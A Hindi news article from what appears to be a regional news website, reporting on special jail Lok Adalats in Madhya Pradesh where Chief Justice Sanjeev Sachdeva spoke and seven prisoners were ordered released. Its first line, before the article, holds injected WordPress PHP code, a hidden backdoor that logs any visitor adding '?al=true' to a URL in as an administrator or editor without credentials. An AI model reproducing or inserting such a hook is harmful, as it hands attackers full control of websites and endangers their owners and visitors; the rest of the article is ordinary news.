// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); सकारात्मक व्यक्तित्व को अपनाने निरंतर प्रयासरत रहें : मुख्य न्यायाधिपति संजीव सचदेवा – प्रत्युषा आशा की नयी किरण
मध्यप्रदेश

सकारात्मक व्यक्तित्व को अपनाने निरंतर प्रयासरत रहें : मुख्य न्यायाधिपति संजीव सचदेवा

भोपाल

मध्यप्रदेश की जेलों में 26 अप्रैल को आयोजित विशेष जेल लोक अदालतों में 7 बंदियों की रिहाई के आदेश जारी हुए। मध्यप्रदेश उच्च न्यायालय के मुख्य न्यायाधिपति व मध्यप्रदेश राज्य विधिक सेवा प्राधिकरण के मुख्य संरक्षक न्यायमूर्ति  संजीव सचदेवा ने केन्द्रीय जेल, ग्वालियर में ऑनलाइन शुभारंभ किया गया। जेल लोक अदालतों का आयोजन म.प्र. राज्य विधिक सेवा प्राधिकरण जबलपुर द्वारा किया गया था।

बंदीगण को संबोधित करते हुये मध्यप्रदेश राज्य विधिक सेवा प्राधिकरण मुख्य संरक्षक न्यायमूर्ति  संजीव सचदेवा ने उन्हें सकारात्मक व्यक्तित्व निर्माण की दिशा में प्रयासरत रहने की सलाह दी। उन्होंने कहा कि इससे बंदीगण समाज की मुख्यधारा में जुड सकेंगे।

मध्यप्रदेश उच्च न्यायालय खण्डपीठ-ग्वालियर के प्रशासनिक न्यायाधिपति न्यायमूर्ति  आनंद पाठक ने बंदीगण से कहा कि पक्षकार इस कल्याणकारी जेल लोक अदालत के माध्यम से न्यायालय स्वयं पक्षकार के पास आया है और लाभान्वित होने का एक मौका दे रहा है। लोक अदालत का मूल उद्देश्य अपराध या विवाद को समाप्त करना नहीं है बल्कि अपराध या विवाद के कारणों को उजागर कर उसे समाप्त करने का मौका देना है। उन्होंने कहा कि हम सभी को यह प्रयास करना चाहिये कि वर्ष 2047 तक हम एक विवाद विहीन समाज की स्थापना कर सके। मध्यप्रदेश राज्य विधिक सेवा प्राधिकरण एक विवाद विहीन समाज की स्थापना की नींव रख रहा है।

केन्द्रीय जेल, ग्वालियर में हुई लोक अदालत में निराकरण हेतु कुल 60 प्रकरण चिन्हित किये गये और उनके निराकरण के लिए कुल 3 खण्डपीठों का गठन किया गया। लोक अदालत की प्रक्रिया अनुसार किये गये प्रयासों के फलस्वरूप 6 प्रकरण का प्ली-बारगेनिंग (अपराध स्वीकारोक्ति के आधार पर) तथा 12 आपराधिक प्रकृति के प्रकरणों में उभयपक्ष के मध्य आपसी सहमति के आधार पर समझौता हो जाने से कुल 18 प्रकरणों का निराकरण किया गया। इनमें से 7 बंदियों के रिहाई आदेश लोक अदालत खण्डपीठ के पीठासीन अधिकारी द्वारा जारी किये गये।

वर्ष-2016 से लंबित एक मामले में शिकायतकर्ता स्वयं जेल परिसर में आये ताकि वे आरोपी के साथ आपसी सुलह एवं समझौता कर सकें। पीठासीन अधिकारी मती स्वाति शर्मा की खण्डपीठ क्रमांक 02 द्वारा इस समझौते को दर्ज किया और प्रक्रिया अनुसार आदेश पारित करते हुये आरोपी को तुरंत रिहा करने का आदेश जारी किया गया। इस प्रकार लगभग एक दशक से लंबित प्रकरण को मौके पर ही निराकृत कर जेल लोक अदालत की प्रभावशीलता को दर्शाया।

एक अन्य मामले में, जहां आरोपी और शिकायतकर्ता दोनों ही ग्वालियर के केन्द्रीय जेल में निरूद्ध थे, उन्हें समझौता वार्ता की सुविधा प्रदान की गई। उन्हें लोक अदालत खण्डपीठ द्वारा इस आयोजन के महत्व व निराकरण से लाभों को बताते हुये राजीनामा के लिये प्रोत्साहित किया, जिन प्रयासों के फलस्वरूप उभयपक्ष समझौता हेतु स्वेच्छा से सहमत हुये और प्रकरण का निराकरण लोक अदालत में किया जाकर आरोपी को आरोपो से बरी किया गया।

कार्यक्रम में न्यायमूर्ति  जी. एस. अहलूवालिया, न्यायमूर्ति  मिलिंद रमेश फडके, न्यायमूर्ति  आशीष श्रोती, न्यायमूर्ति  अमित सेठ, न्यायमूर्ति  आनंद सिंह बहरावत, न्यायमूर्ति  राजेश कुमार गुप्ता सहित मध्यप्रदेश जेल विभाग के विषेश महानिदेशक  अखेतो सेमा, मध्यप्रदेश उच्च न्यायालय के रजिस्ट्रार जनरल  धरमिंदर सिंह, ग्वालियर के प्रधान जिला न्यायाधीश  ललित किशोर, जिला न्यायाधीश (निरीक्षण)  जाकिर हुसैन, मध्यप्रदेश राज्य विधिक सेवा प्राधिकरण की सदस्य सचिव सु सुमन वास्तव, मध्यप्रदेश उच्च न्यायालय खण्डपीठ-ग्वालियर के प्रिंसिपल रजिस्ट्रार  राजीव के पाल व रजिस्ट्रार  नवीन कुमार शर्मा, अतिरिक्त सचिव  अरविंद वास्तव, ग्वालियर कलेक्टर मती रूचिका चौहान व पुलिस अधीक्षक  धर्मवीर सिंह, केन्द्रीय जेल-ग्वालियर के जेल अधीक्षक  विदित सिरवैया एवं अन्य न्यायाधीशगण व जेल प्रशासन के अधिकारी सम्मिलित हुये।

 

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड

[wp-rss-aggregator]